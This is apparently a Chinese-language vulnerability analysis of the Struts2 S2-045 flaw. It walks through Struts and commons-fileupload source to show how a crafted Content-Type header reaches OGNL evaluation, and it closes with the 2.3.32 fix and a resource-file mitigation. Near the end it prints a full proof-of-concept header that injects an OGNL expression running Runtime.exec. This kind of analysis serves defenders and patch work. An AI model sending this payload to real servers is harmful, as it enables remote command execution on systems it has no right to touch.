Struts2 又爆OGNL的高危漏洞S-045,又是OGNL的漏洞
在上传文件里,Struts默认使用的是common upload 的上传组件, 为了能被action访问到上传的文件,通常会重新封装request, Spring也是这么做。
JakartaStreamMultiPartRequest.java中
public void parse(HttpServletRequest request, String saveDir) throws IOException { try { setLocale(request); processUpload(request, saveDir); } catch (Exception e) { e.printStackTrace(); String errorMessage = buildErrorMessage(e, new Object[]{}); if (!errors.contains(errorMessage)) errors.add(errorMessage); } }
protected String buildErrorMessage(Throwable e, Object[] args) { String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName(); if (LOG.isDebugEnabled()) { LOG.debug("Preparing error message for key: [#0]", errorKey); } return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); }
为了保证错误信息可以支持多语言,在构建上传错误的时候,使用了localizedTextUtil,
1. 使用struts.messages.upload.error. classname 作为资源的文件的key
2. 直接使用了异常的message 作为查找的默认message
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args, ValueStack valueStack) { String indexedTextName = null; ...... // get default GetDefaultMessageReturnArg result; if (indexedTextName == null) { result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage); } else { result = getDefaultMessage(aTextName, locale, valueStack, args, null); if (result != null && result.message != null) { return result.message; } result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage); } // could we find the text, if not log a warn if (unableToFindTextForKey(result) && LOG.isDebugEnabled()) { String warn = "Unable to find text for key '" + aTextName + "' "; if (indexedTextName != null) { warn += " or indexed key '" + indexedTextName + "' "; } warn += "in class '" + aClass.getName() + "' and locale '" + locale + "'"; LOG.debug(warn); } return result != null ? result.message : null; }
/** * Gets the default message. */ private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args, String defaultMessage) { GetDefaultMessageReturnArg result = null; boolean found = true; if (key != null) { String message = findDefaultText(key, locale); if (message == null) { message = defaultMessage; found = false; // not found in bundles } // defaultMessage may be null if (message != null) { MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale); String msg = formatWithNullDetection(mf, args); result = new GetDefaultMessageReturnArg(msg, found); } } return result; }
TextParseUtil.translateVariables
可以执行在message体中的${ognl}或者%{ognl}OGNL表达式格式
既然在Struts里是可以直接执行异常里的错误信息,那么在common upload file 组件的异常里我们看看哪些是会把客户端传递的值作为错误信息返回
很幸运,我们在FileUploadBase.java中,发现了一个方法
FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException { if (ctx == null) { throw new NullPointerException("ctx parameter"); } String contentType = ctx.getContentType(); if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s", MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType)); }
Struts 在dispatch 里在封装request的时候做了一次content-type校验
public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException { // don't wrap more than once if (request instanceof StrutsRequestWrapper) { return request; } String content_type = request.getContentType(); if (content_type != null && content_type.contains("multipart/form-data")) { MultiPartRequest mpr = getMultiPartRequest(); LocaleProvider provider = getContainer().getInstance(LocaleProvider.class); request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup); } return request; }
a. 显然是content-type入手
b. 构造 test multipart/form-data 绕过struts的dispatch的防御
c. 继续添加常见的OGNL的表达式
%{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
完整的POC
content-type:test multipart/form-data %{#[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundary=AaB03x
Struts 禁止了异常的信息可执行OGNL表达式,在2.3.32版本中
if (LocalizedTextUtil.findText(this.getClass(), errorKey, getLocale(), null, new Object[0]) == null) { return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() }); } else { return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args); }异常信息只是作为参数传递显示了
在资源文件中配置,让struts能从资源文件中获取到值
struts.messages.upload.error.InvalidContentTypeException=exception
struts.messages.upload.error.*